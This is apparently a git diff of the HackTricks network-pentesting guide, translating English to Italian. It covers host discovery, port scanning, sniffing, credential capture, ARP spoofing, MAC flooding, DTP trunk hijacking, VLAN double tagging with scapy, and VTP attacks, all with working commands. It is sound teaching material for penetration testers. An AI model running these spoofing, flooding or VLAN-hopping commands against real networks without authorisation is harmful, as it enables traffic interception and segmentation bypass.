- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..95fe9bdd2 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,83 +2,69 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## Scoprire host dall'esterno -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +Questa sarà una **breve sezione** su come trovare **IP che rispondono** da **Internet**.\ +In questa situazione hai un **ambito di IP** (forse anche diversi **intervalli**) e devi solo trovare **quali IP stanno rispondendo**. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +Questo è il modo **più semplice** e **veloce** per scoprire se un host è attivo o meno.\ +Puoi provare a inviare alcuni pacchetti **ICMP** e **aspettarti risposte**. Il modo più semplice è semplicemente inviare una **richiesta di echo** e aspettare la risposta. Puoi farlo usando un semplice `ping` o usando `fping` per **intervalli**.\ +Puoi anche usare **nmap** per inviare altri tipi di pacchetti ICMP (questo eviterà i filtri per le comuni richieste-risposte ICMP echo). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` - ### TCP Port Discovery -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per controllare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande", **non puoi** testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\ +Quindi, ciò di cui hai bisogno è uno **scanner di porte veloce** ([masscan](https://github.com/robertdavidgraham/masscan)) e un elenco delle **porte più utilizzate:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +Potresti anche eseguire questo passaggio con `nmap`, ma è più lento e `nmap` ha problemi a identificare gli host attivi. -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### Scoperta della Porta HTTP +Questa è solo una scoperta delle porte TCP utile quando vuoi **concentrarti sulla scoperta dei servizi HTTP**: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### Scoperta delle porte UDP -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +Puoi anche provare a controllare alcune **porte UDP aperte** per decidere se dovresti **prestare maggiore attenzione** a un **host.** Poiché i servizi UDP di solito **non rispondono** con **alcun dato** a un pacchetto probe UDP vuoto, è difficile dire se una porta è filtrata o aperta. Il modo più semplice per decidere questo è inviare un pacchetto relativo al servizio in esecuzione, e poiché non sai quale servizio è in esecuzione, dovresti provare il più probabile in base al numero di porta: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` - -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +La riga nmap proposta in precedenza testerà i **top 1000 UDP ports** in ogni host all'interno dell'**intervallo /24**, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Questo invierà queste **UDP probes** al loro **port previsto** (per un intervallo /24 questo richiederà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### SCTP Port Discovery - ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +Qui puoi trovare una bella guida su tutti i noti attacchi Wifi al momento della scrittura: {{#ref}} ../pentesting-wifi/ {{#endref}} -## Discovering hosts from the inside +## Scoprire host dall'interno -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +Se sei all'interno della rete, una delle prime cose che vorrai fare è **scoprire altri host**. A seconda di **quanto rumore** puoi/vuoi fare, potrebbero essere eseguite diverse azioni: -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### Passivo +Puoi utilizzare questi strumenti per scoprire passivamente host all'interno di una rete connessa: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### Attivo -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +Nota che le tecniche commentate in [_**Scoprire host dall'esterno**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) possono essere **applicate anche qui**.\ +Ma, poiché sei nella **stessa rete** degli altri host, puoi fare **più cose**: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +Nota che le tecniche commentate in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) possono essere **applicate qui**.\ +Ma, poiché sei nella **stessa rete** degli altri host, puoi fare **più cose**: -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Se **pinghi** un **indirizzo di broadcast della subnet**, il ping dovrebbe arrivare a **ogni host** e potrebbero **rispondere** a **te**: `ping -b 10.10.5.255` +- Pingando l'**indirizzo di broadcast della rete** potresti persino trovare host all'interno di **altre subnet**: `ping -b 255.255.255.255` +- Usa i flag `-PE`, `-PP`, `-PM` di `nmap` per eseguire la scoperta degli host inviando rispettivamente **ICMPv4 echo**, **timestamp** e **richieste di subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lan è usato per **accendere** computer tramite un **messaggio di rete**. Il pacchetto magico usato per accendere il computer è solo un pacchetto dove è fornito un **MAC Dst** e poi viene **ripetuto 16 volte** all'interno dello stesso pacchetto.\ +Poi questo tipo di pacchetti viene solitamente inviato in un **ethernet 0x0842** o in un **pacchetto UDP sulla porta 9**.\ +Se **nessun \[MAC]** è fornito, il pacchetto viene inviato a **broadcast ethernet** (e il MAC di broadcast sarà quello ripetuto). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` - ## Scanning Hosts -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +Una volta che hai scoperto tutti gli IP (esterni o interni) che desideri scansionare in profondità, possono essere eseguite diverse azioni. ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **Porta** aperta: _SYN --> SYN/ACK --> RST_ +- **Porta** chiusa: _SYN --> RST/ACK_ +- **Porta** filtrata: _SYN --> \[NO RESPONSE]_ +- **Porta** filtrata: _SYN --> messaggio ICMP_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +Ci sono 2 opzioni per scansionare una porta UDP: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- Inviare un **pacchetto UDP** e controllare la risposta _**ICMP unreachable**_ se la porta è **chiusa** (in diversi casi ICMP sarà **filtrato** quindi non riceverai alcuna informazione se la porta è chiusa o aperta). +- Inviare dei **datagrammi formattati** per ottenere una risposta da un **servizio** (ad es., DNS, DHCP, TFTP e altri, come elencato in _nmap-payloads_). Se ricevi una **risposta**, allora la porta è **aperta**. +**Nmap** mescolerà entrambe le opzioni utilizzando "-sV" (le scansioni UDP sono molto lente), ma nota che le scansioni UDP sono più lente delle scansioni TCP: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` - ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. +**SCTP (Stream Control Transmission Protocol)** è progettato per essere utilizzato insieme a **TCP (Transmission Control Protocol)** e **UDP (User Datagram Protocol)**. Il suo scopo principale è facilitare il trasporto di dati telefonici su reti IP, rispecchiando molte delle caratteristiche di affidabilità presenti in **Signaling System 7 (SS7)**. **SCTP** è un componente fondamentale della famiglia di protocolli **SIGTRAN**, che mira a trasportare segnali SS7 su reti IP. -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +Il supporto per **SCTP** è fornito da vari sistemi operativi, come **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** e **VxWorks**, indicando la sua ampia accettazione e utilità nel campo delle telecomunicazioni e del networking. +Due diverse scansioni per SCTP sono offerte da nmap: _-sY_ e _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### Evasione di IDS e IPS {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **Ulteriori opzioni di nmap** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### Rivelare indirizzi IP interni +**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, è probabile che tali pacchetti vengano filtrati. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` - ## Sniffing -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. +Con lo sniffing puoi apprendere dettagli su intervalli IP, dimensioni delle subnet, indirizzi MAC e nomi host esaminando i frame e i pacchetti catturati. Se la rete è mal configurata o il fabric di switching è sotto stress, gli attaccanti possono catturare materiale sensibile tramite sniffing di rete passivo. -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +Se una rete Ethernet switchata è configurata correttamente, vedrai solo frame di broadcast e materiale destinato al tuo indirizzo MAC. ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +Si possono anche catturare pacchetti da una macchina remota tramite una sessione SSH con Wireshark come interfaccia grafica in tempo reale. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap - ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +Ovviamente. -### Capturing credentials +### Catturare credenziali -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Puoi usare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live. -## LAN attacks +## Attacchi LAN ### ARP spoofing -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +L'ARP Spoofing consiste nell'inviare ARP Responses gratuiti per indicare che l'IP di una macchina ha il MAC del nostro dispositivo. Poi, la vittima cambierà la tabella ARP e contatterà la nostra macchina ogni volta che vorrà contattare l'IP spoofato. #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` - ### MAC Flooding - CAM overflow -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +Sovraccarica la tabella CAM dello switch inviando un gran numero di pacchetti con indirizzi MAC sorgente diversi. Quando la tabella CAM è piena, lo switch inizia a comportarsi come un hub (broadcasting tutto il traffico). ```bash macof -i ``` +In moderni switch questa vulnerabilità è stata risolta. -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / Attacchi DTP -### 802.1Q VLAN / DTP Attacks +#### Trunking Dinamico -#### Dynamic Trunking +Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livello link per facilitare un sistema automatico di trunking, consentendo ai switch di selezionare automaticamente le porte per la modalità trunk (Trunk) o la modalità non trunk. L'implementazione del **DTP** è spesso vista come indicativa di un design di rete subottimale, sottolineando l'importanza di configurare manualmente i trunk solo dove necessario e garantire una corretta documentazione. -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +Per impostazione predefinita, le porte dello switch sono impostate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza sorge quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali. -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, guadagnando così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch. +Se viene identificata una vulnerabilità di rete, lo strumento _**Yersinia**_ può essere impiegato per "abilitare il trunking" tramite il protocollo DTP, consentendo l'osservazione dei pacchetti da tutte le VLAN. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +Per enumerare le VLAN, è anche possibile generare il frame DTP Desirable con lo script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. **Non interrompere lo script in nessuna circostanza. Inietta DTP Desirable ogni tre secondi. **I canali trunk creati dinamicamente sullo switch vivono solo per cinque minuti. Dopo cinque minuti, il trunk si disconnette.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +Vorrei sottolineare che **Access/Desirable (0x03)** indica che il frame DTP è di tipo Desirable, il che dice alla porta di passare alla modalità Trunk. E **802.1Q/802.1Q (0xa5)** indica il tipo di incapsulamento **802.1Q**. -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +Analizzando i frame STP, **apprendiamo dell'esistenza della VLAN 30 e della VLAN 60.**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### Attaccare VLAN specifiche +Una volta conosciuti gli ID VLAN e i valori IP, puoi **configurare un'interfaccia virtuale per attaccare una VLAN specifica**.\ +Se il DHCP non è disponibile, utilizza _ifconfig_ per impostare un indirizzo IP statico. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,31 +321,28 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` - #### Automatic VLAN Hopper -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +L'attacco discusso di **Dynamic Trunking e creazione di interfacce virtuali per scoprire host all'interno** di altri VLAN è **eseguito automaticamente** dallo strumento: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) #### Double Tagging -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). +Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppio taggare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare tramite UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP). -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Un'altra opzione per l'attaccante è lanciare una **scansione delle porte TCP spoofando un IP controllato dall'attaccante e accessibile dalla vittima** (probabilmente tramite internet). Poi, l'attaccante potrebbe sniffare nel secondo host di sua proprietà se riceve alcuni pacchetti dalla vittima. ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +Per eseguire questo attacco puoi usare scapy: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` - #### Lateral VLAN Segmentation Bypass -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Se hai **accesso a uno switch a cui sei direttamente connesso**, hai la possibilità di **bypassare la segmentazione VLAN** all'interno della rete. Basta **cambiare la porta in modalità trunk** (nota anche come trunk), creare interfacce virtuali con gli ID delle VLAN target e configurare un indirizzo IP. Puoi provare a richiedere l'indirizzo in modo dinamico (DHCP) oppure puoi configurarlo staticamente. Dipende dal caso. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -397,143 +350,126 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +In determinati ambienti, come le reti wireless per ospiti, vengono implementate impostazioni di **isolamento delle porte (nota anche come private VLAN)** per impedire ai client connessi a un punto di accesso wireless di comunicare direttamente tra loro. Tuttavia, è stata identificata una tecnica che può eludere queste misure di isolamento. Questa tecnica sfrutta la mancanza di ACL di rete o la loro configurazione errata, consentendo ai pacchetti IP di essere instradati attraverso un router per raggiungere un altro client sulla stessa rete. -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +L'attacco viene eseguito creando un **pacchetto che porta l'indirizzo IP del client di destinazione ma con l'indirizzo MAC del router**. Questo fa sì che il router inoltri erroneamente il pacchetto al client target. Questo approccio è simile a quello utilizzato negli attacchi di Double Tagging, dove la capacità di controllare un host accessibile alla vittima viene utilizzata per sfruttare la vulnerabilità di sicurezza. -**Key Steps of the Attack:** +**Passaggi Chiave dell'Attacco:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **Creazione di un Pacchetto:** Un pacchetto è appositamente creato per includere l'indirizzo IP del client target ma con l'indirizzo MAC del router. +2. **Sfruttamento del Comportamento del Router:** Il pacchetto creato viene inviato al router, che, a causa della configurazione, reindirizza il pacchetto al client target, eludendo l'isolamento fornito dalle impostazioni di private VLAN. ### VTP Attacks -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP (VLAN Trunking Protocol) centralizza la gestione delle VLAN. Utilizza numeri di revisione per mantenere l'integrità del database VLAN; qualsiasi modifica incrementa questo numero. Gli switch adottano configurazioni con numeri di revisione più elevati, aggiornando i propri database VLAN. #### VTP Domain Roles -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTP Server:** Gestisce le VLAN—crea, elimina, modifica. Trasmette annunci VTP ai membri del dominio. +- **VTP Client:** Riceve annunci VTP per sincronizzare il proprio database VLAN. Questo ruolo è limitato dalle modifiche alle configurazioni VLAN locali. +- **VTP Transparent:** Non partecipa agli aggiornamenti VTP ma inoltra gli annunci VTP. Non è influenzato dagli attacchi VTP, mantenendo un numero di revisione costante di zero. #### VTP Advertisement Types -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. 